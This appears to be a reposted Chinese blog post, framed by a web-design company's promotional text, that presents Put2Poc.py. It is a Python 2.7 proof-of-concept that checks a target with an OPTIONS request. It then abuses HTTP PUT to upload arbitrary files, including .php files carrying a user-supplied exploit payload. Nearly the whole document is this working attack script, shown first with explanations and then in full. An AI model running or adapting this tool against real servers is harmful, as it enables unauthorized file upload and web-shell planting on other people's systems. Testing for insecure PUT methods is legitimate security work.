成都网站建设设计

将想法与焦点和您一起共享

PUT上传POC--Put2Poc.py

环境

Python 2.7 
    requests
    sys
Windows 7
Apache 已完成put配置。
PHP

Apache PUT配置

专注于为中小企业提供成都做网站、网站制作服务,电脑端+手机端+微信端的三站合一,更高效的管理,为中小企业红花岗免费做网站提供优质的服务。我们立足成都,凝聚了一批互联网行业人才,有力地推动了上1000+企业的稳健成长,帮助中小企业通过网站建设实现规模扩充和转变。

简单介绍一下源码,增加易读性。

POC入口函数,设置默认变量,接受和判断用户输入参数是否合法,调用探测是否存在不安全的HTTP方法函数Test2Option(url,YN),接受返回所支持的方法,调用PUT方法上传文件。
def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    请输入将要验证的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目标URL
    arg2: 选择(1)验证OR(2)利用(默认为验证)
    arg3: 选择上传文件的目录,默认为/(eg:/test/)
    arg4: 设置长传的文件的文件名,默认为test.html
    arg5:设置特定的利用payload(默认漏洞利用为:)
    注:当前版本仅支持PHP语言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'请检查参数设置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options
Error2status(code) 判断请求的返回状态。
参数 code : 请求返回的状态码
def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True
Test2Option(url,YN)探测目标URL是否支持OPTIONS方法
参数 url : 请求的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,请检查链接是否可以访问'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'该链接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'请检查链接是否可以访问'
        sys.exit()
    if r_status_code is True :
        print u'该链接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']
Put2File(url,YN,r_options,path,filename,content=None)
参数 url : 测试的URL
参数 YN : 选择验证漏洞或者利用漏洞,默认为验证。
参数 r_options : 网站所支持的HTTP请求方法。
参数 path : 文件上传位置
参数 filename : 文件名
参数 content : 自定义文件内容。
def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = ''
    if YN is '2':
        data = ''
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服务器支持PUT文件上传'
        print u'文件名: %s' %(filename)
        print u'文件内容: %s' %(data)
        print u'文件长传位置为: %s' %(path)
        print u'文件链接: %s' %(url)
        print r.content

POC

#/usr/bin/env python
#coding:utf-8
#
#Author:nw01f
#Date:2018.01.11
#Version:1.0
#

import requests
import sys

def Error2status(code):
    if 400 <= code < 500:
        return 4
    if 500 <= code < 600 :
        return 5
    if 200 <= code < 400 :
        return True

def Test2Option(url,YN):
    try:
        r = requests.options(url,verify=False,timeout=10)
    except :
        print u'Error,请检查链接是否可以访问'
        sys.exit()
    r_options = r.headers
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'该链接不支持OPTIONS方法'
        sys.exit()
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'请检查链接是否可以访问'
        sys.exit()
    if r_status_code is True :
        print u'该链接存在不安全的HTTP方法'
        print r_options['Allow']
        return r_options['Allow']

def Put2File(url,YN,r_options,path,filename,content=None):
    url = url.rstrip('/') + path + filename
    print url
    headers = {
    'Accept': '*/*',
    'Accept-Language': 'en-US',
    'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; Win32)'   
    }
    data = ''
    if YN is '2':
        data = ''
        if content is not None :
            data = content
    r = requests.put(url,headers=headers,data=data)
    r_status_code = Error2status(r.status_code)
    if r_status_code == 4 :
        print u'%s Client Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code == 5 :
        print u'%s Server Error for url: %s' % (r.status_code,url)
        print u'服务器禁止上传文件'
    if r_status_code is True :
        print u'Server status code: %s' %(r.status_code)
        print u'服务器支持PUT文件上传'
        print u'文件名: %s' %(filename)
        print u'文件内容: %s' %(data)
        print u'文件长传位置为: %s' %(path)
        print u'文件链接: %s' %(url)
        print r.content

def main():
    if len(sys.argv) < 2 :
        print u'''
    Version:1.0
    请输入将要验证的URL(eg:Put2Poc.py http://test.com)
    Put2Poc.py arg1 arg2
    arg1:目标URL
    arg2: 选择(1)验证OR(2)利用(默认为验证)
    arg3: 选择上传文件的目录,默认为/(eg:/test/)
    arg4: 设置长传的文件的文件名,默认为test.html
    arg5:设置特定的利用payload(默认漏洞利用为:)
    注:当前版本仅支持PHP语言的利用'''
        sys.exit()
    if len(sys.argv) >= 2 :
        url = sys.argv[1]
        YN = 1
        path = '/'
        filename = 'test.html' 
        content = None
        # print url
        if 'http' not in url :
            print u'请输入协议HTTP/HTTPS(eg:Put2Poc.py http://test.com)'
            sys.exit()
        if len(sys.argv) >= 3 :
            # print type(sys.argv[2])
            if sys.argv[2] in '2' :
                filename = 'test.php'
            if sys.argv[2] not in ['1','2'] :
                print u'输入的设置有误,请选择正确的设置(1:验证|2:利用)'
                sys.exit()
            YN = sys.argv[2]
        if len(sys.argv) >= 4 :
            path = sys.argv[3]
        if len(sys.argv) >= 5 :
            filename = sys.argv[4]
        if len(sys.argv) >= 6 :
            content = sys.argv[5]
    if len(sys.argv) > 6 :
        print u'请检查参数设置'
        sys.exit()
    r_options = Test2Option(url,YN)
    if content is not None :
        Put2File(url,YN,r_options,path,filename,content)
    else:
        Put2File(url,YN,r_options,path,filename)
    # print r_options

if __name__ == '__main__':
    main()

注:欢迎指正和提出修改意见。


分享文章:PUT上传POC--Put2Poc.py
网页网址:http://chengdu.cdxwcx.cn/article/jocjcj.html